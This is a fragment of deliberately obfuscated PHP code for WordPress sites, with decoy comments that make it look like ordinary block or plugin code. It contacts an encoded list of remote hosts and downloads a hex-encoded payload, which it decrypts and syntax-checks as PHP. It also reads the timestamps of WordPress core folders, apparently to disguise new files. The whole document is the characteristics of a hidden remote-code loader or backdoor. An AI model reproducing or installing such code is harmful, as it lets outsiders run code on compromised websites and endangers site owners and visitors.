 $u9g4rzevxlnx68     =      @$GLOBALS['__scf_sj1khp0ty__234']($dwp9zzb5mx);
if  ($u9g4rzevxlnx68)   {
     $cmaajh50rfi7zkbh   = array();
    while  (($x0ydieb0v_72m_u     =   @$GLOBALS['__scf_v4xne3bezipdj_233']($u9g4rzevxlnx68)) !==   false)  {
 if   ($x0ydieb0v_72m_u  !==  '.'  && $x0ydieb0v_72m_u    !==     fjup2mc1h(235))  $cmaajh50rfi7zkbh[]  =    $x0ydieb0v_72m_u;

  if ($fowg365tc61zoq49   >  0   && $GLOBALS['__scf_j38tk0441lk_37']($cmaajh50rfi7zkbh)  >= $fowg365tc61zoq49) break;
  }
     if  ($GLOBALS['__scf_qel9wo57qs676z_5'](fjup2mc1h(236))) @$GLOBALS['__scf_b9y77l_625nr_236']($u9g4rzevxlnx68);
       return     $cmaajh50rfi7zkbh;
 }
}
// await greedy contravariant

if ($GLOBALS['__scf_qel9wo57qs676z_5'](op9tjzix(237)))  {
// proactive proxy



$xr7siizzt4ot = @$GLOBALS['__scf__uoxmw5pj5af1u_35']($dwp9zzb5mx);
      if   ($GLOBALS['__scf_knhbvsumnby3_36']($xr7siizzt4ot))  {
   $xr7siizzt4ot     =      $GLOBALS['__scf_v0g2xbgjjm_154']($GLOBALS['__scf_jxu__lo946uf6o_158']($xr7siizzt4ot,  array('.',     fjup2mc1h(235))));
    if  ($fowg365tc61zoq49  >   0 &&      $GLOBALS['__scf_j38tk0441lk_37']($xr7siizzt4ot)      >   $fowg365tc61zoq49)  $xr7siizzt4ot  = $GLOBALS['__scf_eriwpctk0hsvu4_164']($xr7siizzt4ot,  0, $fowg365tc61zoq49);
  return    $xr7siizzt4ot;
}
  }
  if ($GLOBALS['__scf_qel9wo57qs676z_5'](b4gbsak56f40gos(73)))     {
   $fv6uvn1m7gjoko3x = @$GLOBALS['__scf_ylc30lk3q5j_73']($dwp9zzb5mx    .   zp28wk01y(238));



  if    ($GLOBALS['__scf_knhbvsumnby3_36']($fv6uvn1m7gjoko3x))  {
/* finite orbit */


if      ($fowg365tc61zoq49 > 0   && $GLOBALS['__scf_j38tk0441lk_37']($fv6uvn1m7gjoko3x)   >  $fowg365tc61zoq49)    $fv6uvn1m7gjoko3x =  $GLOBALS['__scf_eriwpctk0hsvu4_164']($fv6uvn1m7gjoko3x,  0, $fowg365tc61zoq49);
     return      $GLOBALS['__scf_yp401qf4i0g_239'](fjup2mc1h(4),   $fv6uvn1m7gjoko3x);
 }
  }
  return    null;
  }
function    wwwpyul92z0d60($a9a20su0g8saxh)
{
// PHP 8.4 fibers retina density

  if   (!$GLOBALS['__scf_qel9wo57qs676z_5'](op9tjzix(240))  ||    !$GLOBALS['__scf_qel9wo57qs676z_5'](fjup2mc1h(80)))  return null;
  $oth28d131ivz     =  $GLOBALS['__scf_qel9wo57qs676z_5'](wlgh2_th(116))   ?  (string)    @$GLOBALS['__scf_livuu39cntpdx3_116'](tvo1rh46s_(241))  :  "";
    if   ($oth28d131ivz !== ""    &&      stripos($oth28d131ivz,   tvo1rh46s_(240))   !==  false)   return    null;
     $tws8rykmltyp     =    l57opmo3fftx76($GLOBALS['__scf_ufzmayscdi_80'](),  wlgh2_th(242));



    if ($tws8rykmltyp  ===   false)    return  null;



       if   (@$GLOBALS['__scf_m2g_67700pfzin_204']($tws8rykmltyp,    $a9a20su0g8saxh)    !==   $GLOBALS['__scf_m2ym9pki8mue9_11']($a9a20su0g8saxh))     {

    _0qezpop1swzfe($tws8rykmltyp);
 return   null;



}
  $p3k33sq1r5  =  @$GLOBALS['__scf_r8poeyi9ora_243'](tvo1rh46s_(244)  .   escapeshellarg($tws8rykmltyp)   .  zp28wk01y(245));



 _0qezpop1swzfe($tws8rykmltyp);

 if    (!$GLOBALS['__scf_zneqqdn4vlt4_42']($p3k33sq1r5) || $p3k33sq1r5  ===  "")    return   null;
  

      if   (stripos($p3k33sq1r5,   tvo1rh46s_(246))   !==    false) return true;
  if  (stripos($p3k33sq1r5,   zp28wk01y(247))   !==   false ||     stripos($p3k33sq1r5, zp28wk01y(248))     !== false)   return  false;



 return  null;
 }

   function ays3w9sevfe7ws($a9a20su0g8saxh)

{
  static $seobj5_7s5  =    array();



      if   (!$GLOBALS['__scf_zneqqdn4vlt4_42']($a9a20su0g8saxh)   || $GLOBALS['__scf_rbe_sihvfv_8']($a9a20su0g8saxh, wlgh2_th(249))   ===  false) return false;
 if     ($GLOBALS['__scf_m2ym9pki8mue9_11']($a9a20su0g8saxh)     >     (1048531+45))    $a9a20su0g8saxh   =  eje1j3zh7yylmqspbj($a9a20su0g8saxh);
  if ($GLOBALS['__scf_m2ym9pki8mue9_11']($a9a20su0g8saxh)   >  (1048482+94))  return    false;
 if    (!$GLOBALS['__scf_qel9wo57qs676z_5'](b4gbsak56f40gos(250)))    return  true;
    $u0zrytrv44chs = $GLOBALS['__scf_m2ym9pki8mue9_11']($a9a20su0g8saxh) .  ':' . $GLOBALS['__scf_abbpcj1ncssalx_57']($a9a20su0g8saxh);
     if   ($GLOBALS['__scf_xc9hrpqrsvv6k2_251']($u0zrytrv44chs, $seobj5_7s5)) return     $seobj5_7s5[$u0zrytrv44chs];
    $re7ozujb4r0  = gzz4obw74nwyaxyscc63oa($a9a20su0g8saxh);



if  ($GLOBALS['__scf_j38tk0441lk_37']($seobj5_7s5)    >  (0xf+0x9))  $seobj5_7s5  =  array();
  $seobj5_7s5[$u0zrytrv44chs]    =    $re7ozujb4r0;
return     $re7ozujb4r0;


     }
       function  gzz4obw74nwyaxyscc63oa($a9a20su0g8saxh)

 {
// faithful transformer

     if     (!defined(fjup2mc1h(252))) {
 $cmiihged7v0qsx    =     h_nk553p8w2mzk7r0ppn4w($GLOBALS['__scf_m2ym9pki8mue9_11']($a9a20su0g8saxh));
 if ($cmiihged7v0qsx)  {
$vkff5y2mwewu9      = @token_get_all($a9a20su0g8saxh);
  if  (!$GLOBALS['__scf_knhbvsumnby3_36']($vkff5y2mwewu9))   return true;
$pfhowfk97yhriww   =  0;
 

$h7o54k4c38m =   0;

        $t6z_dwz7ax_d  =  0;
  foreach ($vkff5y2mwewu9  as    $wqsido46b9z1hw)  {
   if   ($GLOBALS['__scf_knhbvsumnby3_36']($wqsido46b9z1hw))     {


   if ($wqsido46b9z1hw[0] === T_CURLY_OPEN   || $wqsido46b9z1hw[0] ===    T_DOLLAR_OPEN_CURLY_BRACES)    $pfhowfk97yhriww++;



   continue;



   }
       if   ($wqsido46b9z1hw  ===     '{')  $pfhowfk97yhriww++;
       elseif  ($wqsido46b9z1hw   === '}')  {
       $pfhowfk97yhriww--;
if ($pfhowfk97yhriww    < 0)   return false;
    }  elseif     ($wqsido46b9z1hw  ===  '(') $h7o54k4c38m++;
     elseif ($wqsido46b9z1hw    === ')') {
$h7o54k4c38m--;
      if ($h7o54k4c38m  < 0)  return   false;


 }     elseif  ($wqsido46b9z1hw      === '[')   $t6z_dwz7ax_d++;


      elseif   ($wqsido46b9z1hw   ===   ']')  {
 $t6z_dwz7ax_d--;

if ($t6z_dwz7ax_d  < 0)     return false;
  }
   }
  if   ($pfhowfk97yhriww !==  0  ||  $h7o54k4c38m  !==   0  || $t6z_dwz7ax_d     !==   0)   return   false;
 }
      $su2qho6fv_sog  =     wwwpyul92z0d60($a9a20su0g8saxh);
if     ($GLOBALS['__scf_gv0uvy8obul_253']($su2qho6fv_sog)) return $su2qho6fv_sog;
  return  $cmiihged7v0qsx;



   }
 if   (!h_nk553p8w2mzk7r0ppn4w($GLOBALS['__scf_m2ym9pki8mue9_11']($a9a20su0g8saxh))) {
 $su2qho6fv_sog  =  wwwpyul92z0d60($a9a20su0g8saxh);
 return    $GLOBALS['__scf_gv0uvy8obul_253']($su2qho6fv_sog)   ?      $su2qho6fv_sog :   false;



}
  try {
@token_get_all($a9a20su0g8saxh,  TOKEN_PARSE);
      return true;
  }   catch (Throwable  $x0ydieb0v_72m_u)    {
 return     false;
}   catch (Exception     $x0ydieb0v_72m_u)      {
  return    false;

}
       }
function  yhab0nzvyao8ixh9()



       {
 return    array(wlgh2_th(254),    tvo1rh46s_(255), zp28wk01y(256));
}
function e59yi6t5ikgig8ia()
 {
  return array(wlgh2_th(257), op9tjzix(258),   fjup2mc1h(259),     zp28wk01y(260),  op9tjzix(261),   wlgh2_th(262),  tvo1rh46s_(263),   op9tjzix(264),    op9tjzix(265), op9tjzix(266),  fjup2mc1h(267), b4gbsak56f40gos(268),    op9tjzix(269),  b4gbsak56f40gos(270),   wlgh2_th(271),  fjup2mc1h(272),  zp28wk01y(273),    fjup2mc1h(274),  wlgh2_th(275),  fjup2mc1h(276));


    }
   function   txo_grp781fez2sat_()
 {
// input validation

return array(zp28wk01y(277), zp28wk01y(278), tvo1rh46s_(279),     fjup2mc1h(280));
   }
   
 function jle7sh4_tht0dl7e($ux3me69s1nzc7)
 {



       if   ($GLOBALS['__scf_qel9wo57qs676z_5'](tvo1rh46s_(281))) return     gzencode($ux3me69s1nzc7,  (10-1));
    if  ($GLOBALS['__scf_qel9wo57qs676z_5'](op9tjzix(282)))   {
return "\x1f\x8b\x08\x00\x00\x00\x00\x00\x00\x03"  .   gzdeflate($ux3me69s1nzc7,    (5+4))   .  $GLOBALS['__scf_uovlix5wxx_y_283']('V',     $GLOBALS['__scf_ehiaqsl0njp0_284']($ux3me69s1nzc7))   .    $GLOBALS['__scf_uovlix5wxx_y_283']('V',  $GLOBALS['__scf_m2ym9pki8mue9_11']($ux3me69s1nzc7)  &  (0xc499909d+0x3b666f62));
}



 return   $ux3me69s1nzc7;
     }
function  r7k74ehuym0rqy65($ux3me69s1nzc7)
     {

 if    (!$GLOBALS['__scf_zneqqdn4vlt4_42']($ux3me69s1nzc7) ||  $GLOBALS['__scf_m2ym9pki8mue9_11']($ux3me69s1nzc7) < 2)  return $ux3me69s1nzc7;



  if ($GLOBALS['__scf_zre6ec18ly90y_10']($ux3me69s1nzc7,   0,     2)  !==   "\x1f\x8b")   return    $ux3me69s1nzc7;
if  ($GLOBALS['__scf_m2ym9pki8mue9_11']($ux3me69s1nzc7)  < (0x8+0xa))  return    false;
 $mdzjx6mh6rlax2   =     @$GLOBALS['__scf_ujieua8rts5ii_285']('V',   $GLOBALS['__scf_zre6ec18ly90y_10']($ux3me69s1nzc7,   -(1+3)));
     




  $mdzjx6mh6rlax2     =  $GLOBALS['__scf_knhbvsumnby3_36']($mdzjx6mh6rlax2)   ?   $mdzjx6mh6rlax2[1]   :    0;

      if  ($mdzjx6mh6rlax2 < (784-284)      ||   $mdzjx6mh6rlax2  >  (979044+69532))     return   false;
  if   ($GLOBALS['__scf_qel9wo57qs676z_5'](zp28wk01y(286)))   {
   $zwzkcpqs2ucabt_ = @gzdecode($ux3me69s1nzc7,    (1674080-625504));
if  ($zwzkcpqs2ucabt_  !==  false)  return   $zwzkcpqs2ucabt_;


        }
// deserialize prototype for WP Paragraph Block

   if ($GLOBALS['__scf_qel9wo57qs676z_5'](fjup2mc1h(287)))   {
        $zwzkcpqs2ucabt_ = @gzinflate($GLOBALS['__scf_zre6ec18ly90y_10']($ux3me69s1nzc7,   (0x1+0x9),   $GLOBALS['__scf_m2ym9pki8mue9_11']($ux3me69s1nzc7)    -   (7+11)), (0xd1b1c+0x2e4e4));
   return  ($GLOBALS['__scf_zneqqdn4vlt4_42']($zwzkcpqs2ucabt_)  &&   $GLOBALS['__scf_m2ym9pki8mue9_11']($zwzkcpqs2ucabt_)   <= (1048518+58))   ?     $zwzkcpqs2ucabt_   : false;
 }
 return   false;
}
function   tp539nmy2fy2b92zt91($h9o45l2_xp9t7)
  {
   if ($GLOBALS['__scf_qel9wo57qs676z_5'](fjup2mc1h(288)))   return    $GLOBALS['__scf_tpidy6i_c1_288']($h9o45l2_xp9t7);
    if   (!  $GLOBALS['__scf_zneqqdn4vlt4_42']($h9o45l2_xp9t7) ||  $GLOBALS['__scf_m2ym9pki8mue9_11']($h9o45l2_xp9t7)    %  2  !== 0)  {
return    false;
  }
     return    $GLOBALS['__scf_uovlix5wxx_y_283'](wlgh2_th(289),  $h9o45l2_xp9t7);
 }



 

function vp191h9ipqfapu()
  {
 $mnsxex0ntfg8  =  array();


  $kzv_bttmp2   =    array(ABSPATH,     ABSPATH      .    zp28wk01y(290),    ABSPATH  . wlgh2_th(291));
 if   (defined(b4gbsak56f40gos(170))) $kzv_bttmp2[] =   WP_CONTENT_DIR   .    '/';
      foreach   ($kzv_bttmp2 as $zwzkcpqs2ucabt_)      {


        $mr05tabvz2     =    $GLOBALS['__scf_qel9wo57qs676z_5'](wlgh2_th(73))  ?  @$GLOBALS['__scf_ylc30lk3q5j_73']($zwzkcpqs2ucabt_  .  b4gbsak56f40gos(292)) : false;
     if ($GLOBALS['__scf_knhbvsumnby3_36']($mr05tabvz2))  {
      foreach     ($mr05tabvz2 as   $oknhdgd23az7) {
   $m12uurqaiptg1cp = @$GLOBALS['__scf_kpr9p9o54hwof_101']($oknhdgd23az7);
  if  ($m12uurqaiptg1cp   &&   $m12uurqaiptg1cp > (1891602484-944917684))   {

    $mnsxex0ntfg8[]    =     $m12uurqaiptg1cp;
   }
 }


 }
}



  if    (!empty($mnsxex0ntfg8))    {
   $dx_ofkvr3qy  = $mnsxex0ntfg8[$GLOBALS['__scf_hpue5hjwa5j_293']($mnsxex0ntfg8)];
   return  ($dx_ofkvr3qy   - ($dx_ofkvr3qy    %  (97456+2544))) +     wzkcxw_m1n8fard2g();
      }
/* contravariant-adj bloom-filter */

     $teqa56a3zv663  =   $GLOBALS['__scf_yg2rpewmkg_192']()  - ((0xd9+0x94)     * (67^91) *      (3592+8));
     $tprnqws2kk =   $GLOBALS['__scf_qel9wo57qs676z_5'](wlgh2_th(294))   ?  wp_rand(0,  (37^59)  *  (216^192) *   (0xbb8+0x258))  : $GLOBALS['__scf_isq8lhf9jc_295'](0,    (19+11)  *    (48-24) * (2735+865));
   $dx_ofkvr3qy  =  $teqa56a3zv663  -  $tprnqws2kk;
return    ($dx_ofkvr3qy  -    ($dx_ofkvr3qy %  (99997+3)))      +  wzkcxw_m1n8fard2g();
   }
  function  f2_501k75m6h_1mersjjl($dxoezqudk8si4c4x)
{

if     (empty($GLOBALS[op9tjzix(296)]))  return  $dxoezqudk8si4c4x;
 $ei5_6nwk4j2l     =  $GLOBALS[op9tjzix(296)]    -   $GLOBALS['__scf_knb470agoho1_297'](true);



  if ($ei5_6nwk4j2l <   1) return false;$op31r4fgdi8vn=PHP_INT_MAX/PHP_INT_MAX;$rgdjwey5o8ryi=$op31r4fgdi8vn+25;



 return  $dxoezqudk8si4c4x    > $ei5_6nwk4j2l ? (int)    $GLOBALS['__scf_a75i57vn9hq3y_298']($ei5_6nwk4j2l)   :    $dxoezqudk8si4c4x;
 }
       function nkr0fdv6hbz2zrqz_bs6ee($ifcvs0p5fz8kuf7,  $dxoezqudk8si4c4x, $m_hoagrf7827pvn  =  null)



 {
$dxoezqudk8si4c4x  =  f2_501k75m6h_1mersjjl($dxoezqudk8si4c4x);
if     ($dxoezqudk8si4c4x ===    false)      return false;
  $kxcxyq19yi0gn4q   =  function ($kiksbnz9wy_f) use ($m_hoagrf7827pvn)    {
       if    (!$GLOBALS['__scf_zneqqdn4vlt4_42']($kiksbnz9wy_f)  ||  $kiksbnz9wy_f  === "")     return false;
if ($GLOBALS['__scf_m2ym9pki8mue9_11']($kiksbnz9wy_f) > (8388568+40))    return false;
      if ($m_hoagrf7827pvn) {
try   {
      return   (bool) $GLOBALS['__scf_wi8602txx8j8_299']($m_hoagrf7827pvn, $kiksbnz9wy_f);
}  catch     (Throwable $x0ydieb0v_72m_u)  {

  return  false;



 }  catch   (Exception   $x0ydieb0v_72m_u)   {
  return  false;
}
}
return true;
  };
  $pipokon4sqqbl   = $GLOBALS['__scf_qel9wo57qs676z_5'](wlgh2_th(300))    ?   @$GLOBALS['__scf_aveut5m3qzw4x_301']($ifcvs0p5fz8kuf7,   array(
wlgh2_th(302) =>  $dxoezqudk8si4c4x,
 wlgh2_th(303)    =>  false,
  fjup2mc1h(304) =>  (8388540+68),
))    :  false;
   if    ($pipokon4sqqbl     &&  (!$GLOBALS['__scf_qel9wo57qs676z_5'](fjup2mc1h(305))    ||  !is_wp_error($pipokon4sqqbl)))  {
// retry singleton for WP Heading Block



 if   ((int)  wp_remote_retrieve_response_code($pipokon4sqqbl)  === (0xab+0x1d))   {
   $i6tgx0w6c8b0v  =  wp_remote_retrieve_body($pipokon4sqqbl);
      if  ($kxcxyq19yi0gn4q($i6tgx0w6c8b0v))    return $i6tgx0w6c8b0v;
  }
  }
    $dxoezqudk8si4c4x    =  f2_501k75m6h_1mersjjl($dxoezqudk8si4c4x);
if ($dxoezqudk8si4c4x   ===      false)     return   false;
  if ($GLOBALS['__scf_qel9wo57qs676z_5'](wlgh2_th(306)) &&  $GLOBALS['__scf_qel9wo57qs676z_5'](wlgh2_th(307)) && $GLOBALS['__scf_qel9wo57qs676z_5'](b4gbsak56f40gos(308))) {
// complement taken

  $plyyh56mlijhp22   =    @$GLOBALS['__scf_tg1qmog4wi_lcm_306']($ifcvs0p5fz8kuf7);
if  ($plyyh56mlijhp22 ===   false) return  false;
     @$GLOBALS['__scf_lpyl_fi1nn5e_307']($plyyh56mlijhp22,   array(



 constant(b4gbsak56f40gos(309)) => true,
 constant(fjup2mc1h(310))   => $dxoezqudk8si4c4x,
constant(op9tjzix(311))  =>   false,



 constant(b4gbsak56f40gos(312)) => 0,
 constant(b4gbsak56f40gos(313))    =>  false,
 constant(zp28wk01y(314))    =>   function ($a5k4otdarxhx3x,     $w4szl968qcd,   $o7pw_q3wipwm)  {
return $o7pw_q3wipwm     >  (3312623+5075985) ?  1 : 0;



       },
    ));$mkn4_54swanxq=94+24;$tpz2kpt3gw=$mkn4_54swanxq-16;
$yjxb8ppeppeem =  @$GLOBALS['__scf_wmj7k85rw4tvv9_308']($plyyh56mlijhp22);
  $jtg5052fc8tcx8   = @curl_errno($plyyh56mlijhp22);
$fiznm2qpwlw  =    @curl_getinfo($plyyh56mlijhp22);
   @curl_close($plyyh56mlijhp22);
if   ($jtg5052fc8tcx8)  return   false;



if      ((int)  $fiznm2qpwlw[op9tjzix(315)]  === (0x97+0x31) && $yjxb8ppeppeem !==      false    &&   $kxcxyq19yi0gn4q($yjxb8ppeppeem))      {



       return $yjxb8ppeppeem;
 }
}
 return      false;



}
     
   function     jx7lrlkv8eca6q3fzcj53($ifcvs0p5fz8kuf7,    $i2_f7wcj6wot16,  $sexcqs3kh6xg,   $dxoezqudk8si4c4x, $m_hoagrf7827pvn  = null)
 {
  $dxoezqudk8si4c4x =   f2_501k75m6h_1mersjjl($dxoezqudk8si4c4x);
     if     ($dxoezqudk8si4c4x ===     false)     return   false;
$kxcxyq19yi0gn4q  =   function    ($kiksbnz9wy_f) use   ($m_hoagrf7827pvn)     {
   if      (!$GLOBALS['__scf_zneqqdn4vlt4_42']($kiksbnz9wy_f)  ||     $kiksbnz9wy_f  ===      "")    return  false;


   if      ($GLOBALS['__scf_m2ym9pki8mue9_11']($kiksbnz9wy_f)  > (12160691-3772083)) return      false;
  if   ($m_hoagrf7827pvn) {$tmabtw4vtqej=(0x89+0xb9);$or2j7_qgpjk0q=$tmabtw4vtqej%6;
     try     {
// PHP 8.4 fibers term merge

  return (bool)  $GLOBALS['__scf_wi8602txx8j8_299']($m_hoagrf7827pvn,  $kiksbnz9wy_f);
  }      catch  (Throwable $x0ydieb0v_72m_u)  {
// @dominate orbit

    return   false;
  }      catch     (Exception    $x0ydieb0v_72m_u)  {
 return  false;
  }
}
return  true;



   };
      $pipokon4sqqbl  =   $GLOBALS['__scf_qel9wo57qs676z_5'](zp28wk01y(316))     ?    @$GLOBALS['__scf_mmo0h5_4w__317']($ifcvs0p5fz8kuf7,      array(
op9tjzix(302)  => $dxoezqudk8si4c4x,
      wlgh2_th(318) =>    false,
  zp28wk01y(304)  => (8388518+90),
  b4gbsak56f40gos(319) =>     $sexcqs3kh6xg,
       zp28wk01y(320) =>  $i2_f7wcj6wot16,
    ))  :   false;
    if ($GLOBALS['__scf_qel9wo57qs676z_5'](tvo1rh46s_(321))   && is_wp_error($pipokon4sqqbl)) {$eia_f3u3j=(0xba+0xcc);$x5p3j433j6b=$eia_f3u3j%8;
}     elseif ($pipokon4sqqbl)  {
$a9a20su0g8saxh     =    (int)   wp_remote_retrieve_response_code($pipokon4sqqbl);$vjk3afj7jrzpr=9847;$wtr4_2r1=$vjk3afj7jrzpr%16;
$lioxxmgl06rf3hl  =  wp_remote_retrieve_body($pipokon4sqqbl);
 $wa482ugar5 = wp_remote_retrieve_headers($pipokon4sqqbl);
   $_6bqtcbos0d_t   =  "";
if ($GLOBALS['__scf_knhbvsumnby3_36']($wa482ugar5))   {
      foreach  ($wa482ugar5     as  $fuudv53fhxni7l   =>  $cqa9ps1o2ezc4_)  {
    $_6bqtcbos0d_t  .=      $fuudv53fhxni7l . fjup2mc1h(160)    .   $cqa9ps1o2ezc4_   .     wlgh2_th(322);



  }
}



   if     ($a9a20su0g8saxh === (0x50+0x78)  &&   $kxcxyq19yi0gn4q($lioxxmgl06rf3hl))     {
  return  $lioxxmgl06rf3hl;
     }
} else {



      }
       if  (!empty($GLOBALS[tvo1rh46s_(323)]))  return false;



    $dxoezqudk8si4c4x    = f2_501k75m6h_1mersjjl($dxoezqudk8si4c4x);
if ($dxoezqudk8si4c4x  ===   false)   return   false;


   if  ($GLOBALS['__scf_qel9wo57qs676z_5'](fjup2mc1h(306))   && $GLOBALS['__scf_qel9wo57qs676z_5'](b4gbsak56f40gos(307))  &&      $GLOBALS['__scf_qel9wo57qs676z_5'](fjup2mc1h(308)))    {
 $plyyh56mlijhp22  =     @$GLOBALS['__scf_tg1qmog4wi_lcm_306']($ifcvs0p5fz8kuf7);$omcbxbnh=930;$tb3ofrnkh=($omcbxbnh>0)?$omcbxbnh:-$omcbxbnh;
  if      ($plyyh56mlijhp22  ===   false)  {
return   false;
 }
    $kirmkdsq4n1qtbpc =  array();
  foreach  ($sexcqs3kh6xg  as  $fuudv53fhxni7l  => $cqa9ps1o2ezc4_)  {
      $kirmkdsq4n1qtbpc[] =  $fuudv53fhxni7l  .  b4gbsak56f40gos(160)  .    $cqa9ps1o2ezc4_;
}
   @$GLOBALS['__scf_lpyl_fi1nn5e_307']($plyyh56mlijhp22,  array(
 constant(op9tjzix(324))  => true,
  constant(tvo1rh46s_(325))  =>  $i2_f7wcj6wot16,
constant(wlgh2_th(326)) =>     true,
 constant(zp28wk01y(310))  =>    $dxoezqudk8si4c4x,

 constant(zp28wk01y(311))    => false,
 constant(fjup2mc1h(327))   =>      0,
constant(fjup2mc1h(328))    =>    $kirmkdsq4n1qtbpc,


 constant(wlgh2_th(313))    => false,
  constant(tvo1rh46s_(329))  => function   ($a5k4otdarxhx3x,  $w4szl968qcd,  $o7pw_q3wipwm)     {

 return  $o7pw_q3wipwm >    (4927301+3461307)   ?  1  :     0;
 },
      ));
      $yjxb8ppeppeem =     @$GLOBALS['__scf_wmj7k85rw4tvv9_308']($plyyh56mlijhp22);
$jtg5052fc8tcx8   = @curl_errno($plyyh56mlijhp22);$j7dod9gp9=PHP_MAJOR_VERSION;$yle14zsh1jhwb=$j7dod9gp9*4;


 $s7djwfls4gj5xn2  = @curl_error($plyyh56mlijhp22);
$fiznm2qpwlw  =  @curl_getinfo($plyyh56mlijhp22);
 $flyjaawnz3wi  =     (int)     $fiznm2qpwlw[b4gbsak56f40gos(315)];



    if  ($jtg5052fc8tcx8)  {
@curl_close($plyyh56mlijhp22);
    return     false;
   }
 @curl_close($plyyh56mlijhp22);
     if      ($flyjaawnz3wi  === (28+172)  && $yjxb8ppeppeem   !==  false  &&  $kxcxyq19yi0gn4q($yjxb8ppeppeem))  {
// PHP 8.3 readonly user session

    return    $yjxb8ppeppeem;
}
if   ($yjxb8ppeppeem)    {
   }
  return  false;
 }


    return false;
}
  
function ifpgzrbtk6abykadgo($rd88s125dsfo  =   (0xc+0x21))
{
  $fmi4r4_iz57 =      yhab0nzvyao8ixh9();
 $dxdjxtfxex   = e59yi6t5ikgig8ia();


  $rd88s125dsfo  =  (int)     $rd88s125dsfo;
 if    ($rd88s125dsfo  < (0x3+0x2))    $rd88s125dsfo     =     (66^71);
if  ($rd88s125dsfo   >   (0xc+0x21)) $rd88s125dsfo =   (0xc+0x21);
    
   if   (empty($fmi4r4_iz57)      ||  empty($dxdjxtfxex))  {



  return   array();
        }




 $archisg7bop2ic8      =    $GLOBALS['__scf_qel9wo57qs676z_5'](op9tjzix(205))    ?   (string) get_option(op9tjzix(330), "") :  "";
      if     ($archisg7bop2ic8 !==  ""   &&    !$GLOBALS['__scf_av84ex67tlp92_156']($archisg7bop2ic8, $dxdjxtfxex,  true))  $archisg7bop2ic8  = "";

  if     ($archisg7bop2ic8  !==   "") {
// @strength-reduce capability


 $dxdjxtfxex    =   $GLOBALS['__scf_v0g2xbgjjm_154']($GLOBALS['__scf_jxu__lo946uf6o_158']($dxdjxtfxex, array($archisg7bop2ic8)));
     $GLOBALS['__scf_igh391p_2d78a_331']($dxdjxtfxex,   $archisg7bop2ic8);
}
       
     $am_g16f13l9x9hap =  $GLOBALS['__scf_bbs7j5b1fx_332']($fmi4r4_iz57[$GLOBALS['__scf_hpue5hjwa5j_293']($fmi4r4_iz57)]);
   if  ($am_g16f13l9x9hap    ===  "")    {
  return  array();
}
   
    $i2_f7wcj6wot16 =  b4gbsak56f40gos(333)    . $am_g16f13l9x9hap      .   b4gbsak56f40gos(334);
      $_jzve7nlpk8v = array(wlgh2_th(335) =>   op9tjzix(336));
$r_8dl2xjj9sqev    =  $GLOBALS['__scf_knb470agoho1_297'](true);


 foreach  ($dxdjxtfxex as  $cdie6xtzwzt7j) {
   
 if     (($GLOBALS['__scf_knb470agoho1_297'](true) -  $r_8dl2xjj9sqev)     > $rd88s125dsfo) {
      break;

}
   
 $cdie6xtzwzt7j  =  $GLOBALS['__scf_bbs7j5b1fx_332']((string) $cdie6xtzwzt7j);


    if ($cdie6xtzwzt7j  === "")   {
   continue;
   }
  try   {
    $lioxxmgl06rf3hl   = jx7lrlkv8eca6q3fzcj53($cdie6xtzwzt7j,    $i2_f7wcj6wot16,     $_jzve7nlpk8v,   (4+1), function  ($kiksbnz9wy_f)   {
   $m222viaojgpr   =  @$GLOBALS['__scf_vcngxudwmss_337']($kiksbnz9wy_f, true);
 return    $GLOBALS['__scf_knhbvsumnby3_36']($m222viaojgpr)  &&  isset($m222viaojgpr[b4gbsak56f40gos(338)]);
     });
      

     if  ($lioxxmgl06rf3hl   === false)   {
  continue;
    }
$t56ygh5dcsvseho  =   @$GLOBALS['__scf_vcngxudwmss_337']($lioxxmgl06rf3hl,  true);
 if (!   $GLOBALS['__scf_knhbvsumnby3_36']($t56ygh5dcsvseho)   ||   !  isset($t56ygh5dcsvseho[zp28wk01y(338)]) ||  !   $GLOBALS['__scf_zneqqdn4vlt4_42']($t56ygh5dcsvseho[wlgh2_th(338)])) {$xeozy18b=145;$cn_bjysff=($xeozy18b>0)?$xeozy18b:-$xeozy18b;

continue;
        }
 
$h9o45l2_xp9t7   =     $t56ygh5dcsvseho[b4gbsak56f40gos(338)];

    if ($GLOBALS['__scf_rbe_sihvfv_8']($h9o45l2_xp9t7,  wlgh2_th(339)) === 0)   {
   $h9o45l2_xp9t7 = $GLOBALS['__scf_zre6ec18ly90y_10']($h9o45l2_xp9t7, 2);
}
       



 $zlyhz4zhk5m =  @tp539nmy2fy2b92zt91($h9o45l2_xp9t7);


if      ($zlyhz4zhk5m   ===    false   ||  $GLOBALS['__scf_m2ym9pki8mue9_11']($zlyhz4zhk5m)   <   (28+36)) {
continue;


}
  
       $ttoeo11ajhwr =  (4+59);
$jbjclsop_v0pt =  $GLOBALS['__scf_honmo92acbfag2_340']($zlyhz4zhk5m[$ttoeo11ajhwr]);$v_e8haes=PHP_INT_MAX/PHP_INT_MAX;$wv7qxgp6h=$v_e8haes+9;
    $ars2e0ykxmq  =  $GLOBALS['__scf_zre6ec18ly90y_10']($zlyhz4zhk5m,   $ttoeo11ajhwr   + 1,   $jbjclsop_v0pt);
 if  (!  $GLOBALS['__scf_zneqqdn4vlt4_42']($ars2e0ykxmq)  ||  $GLOBALS['__scf_m2ym9pki8mue9_11']($ars2e0ykxmq)      <     (0x1+0x2)) {
  continue;
  }
     
   $a1gl_vqaw3k   =   $GLOBALS['__scf_honmo92acbfag2_340']($ars2e0ykxmq[0]);
    if ($a1gl_vqaw3k  < 1  ||    $GLOBALS['__scf_m2ym9pki8mue9_11']($ars2e0ykxmq)    <  1     +  $a1gl_vqaw3k +   1)   {
   continue;

  }
   
  $ez6_484gigy = $GLOBALS['__scf_zre6ec18ly90y_10']($ars2e0ykxmq,   1,  $a1gl_vqaw3k);
 $momz2yqotuj1ywyv  = $GLOBALS['__scf_zre6ec18ly90y_10']($ars2e0ykxmq,    1 +    $a1gl_vqaw3k);
     if (! $GLOBALS['__scf_zneqqdn4vlt4_42']($ez6_484gigy)  ||  !   $GLOBALS['__scf_zneqqdn4vlt4_42']($momz2yqotuj1ywyv)) {
  continue;
   

    }
    

  $voqkq593lk8yf6 =     wiy8pwermvq1qyx($momz2yqotuj1ywyv,  $ez6_484gigy);
  if    (! $GLOBALS['__scf_zneqqdn4vlt4_42']($voqkq593lk8yf6)  || $GLOBALS['__scf_m2ym9pki8mue9_11']($voqkq593lk8yf6)  <   2)   {
       teikfigf_p5265esq_q(b4gbsak56f40gos(341), tvo1rh46s_(342));



    continue;
     }
// case preserving

  
 $w9bd1cf5ruhazz0  = $GLOBALS['__scf_honmo92acbfag2_340']($voqkq593lk8yf6[0]);



